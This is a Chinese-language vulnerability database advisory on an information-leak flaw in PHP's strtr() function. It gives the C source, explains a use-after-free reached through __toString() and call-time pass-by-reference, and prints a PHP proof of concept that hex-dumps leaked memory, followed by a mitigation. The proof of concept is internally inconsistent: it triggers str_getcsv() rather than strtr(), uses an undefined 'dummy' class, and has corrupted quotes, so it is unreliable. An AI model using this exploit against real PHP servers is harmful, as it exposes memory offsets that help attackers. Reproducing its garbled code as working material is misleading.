ZeroBox Vulnerability Database

PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。

PHP的strtr()函数中存在信息泄露漏洞：

PHP_FUNCTION(strtr)
{                              
    zval **from;
    char *str, *to = NULL;
    int str_len, to_len = 0;
    int ac = ZEND_NUM_ARGS();
    
    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sZ|s", &str, &str_len, &from, &to, &to_len) == FAILURE) {
        return;
    }
    
    if (ac == 2 && Z_TYPE_PP(from) != IS_ARRAY) {
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "The second argument is not an array");
        RETURN_FALSE;
    }

    /* shortcut for empty string */
    if (str_len == 0) {
        RETURN_EMPTY_STRING();
    }

    if (ac == 2) {
        php_strtr_array(return_value, str, str_len, HASH_OF(*from));
    } else {
        convert_to_string_ex(from);

        ZVAL_STRINGL(return_value, str, str_len, 1);
        
        php_strtr(Z_STRVAL_P(return_value),
                  Z_STRLEN_P(return_value),
                  Z_STRVAL_PP(from),
                  to,
                  MIN(Z_STRLEN_PP(from),
                  to_len));
    }
}

zend_parse_parameters()函数将2个字符串参数和ZVAL拷贝到了本地变量，破坏了这些变量与原始ZVAL之间的联系。问题是字符串指针仍指向与原始字符串ZVAL完全相同的字符串，如果原始字符串ZVAL已被修改，就会导致字符串指针无效，指向已释放的且被重用的内存。在函数中将第二个参数转换为字符串，这就允许通过__toString()方式传送对象触发中断。由于PHP的call time pass by reference功能，之后攻击者可以从__toString()方式杀死第二个参数并重新用于哈希表。这导致strtr()作用于哈希表的内存而不是字符串的内存，攻击者可以泄露重要的内部内存偏移。

/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
    $GLOBALS[‘var’] = str_repeat("A", 39);
} else {
    $GLOBALS[‘var’] = str_repeat("A", 67);      
}

/* Trigger the Code */  
$x = str_getcsv(&$GLOBALS[‘var’], new dummy());
hexdump($x);

/* Helper function */
function hexdump($x)
{
    $l = strlen($x);
    $p = 0;

    echo "Hexdump\n";
    echo "——-\n";

    while ($l > 16) {
        echo sprintf("%08x: ",$p);
        for ($i=0; $i<16; $i++) {
            echo sprintf("%02X ", ord($x[$p+$i]));
        }
        echo "  ";
        for ($i=0; $i<16; $i++) {
            $c = ord($x[$p+$i]);
            echo ($c < 32 || $c > 127) ? ‘.’ : chr($c);
        }
        $l-=16;
        $p+=16;
        echo "\n";
    }
    if ($l > 0)
    echo sprintf("%08x: ",$p);
    for ($i=0; $i<$l; $i++) {
        echo sprintf("%02X ", ord($x[$p+$i]));
    }
    for ($i=0; $i<16-$l; $i++) { echo "– "; }

    echo "  ";
    for ($i=0; $i<$l; $i++) {
        $c = ord($x[$p+$i]);
        echo ($c < 32 || $c > 127) ? ‘.’ : chr($c);
    }
    echo "\n";
}
?>

* 禁用call time pass by reference功能。

厂商补丁：

PHP
—
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：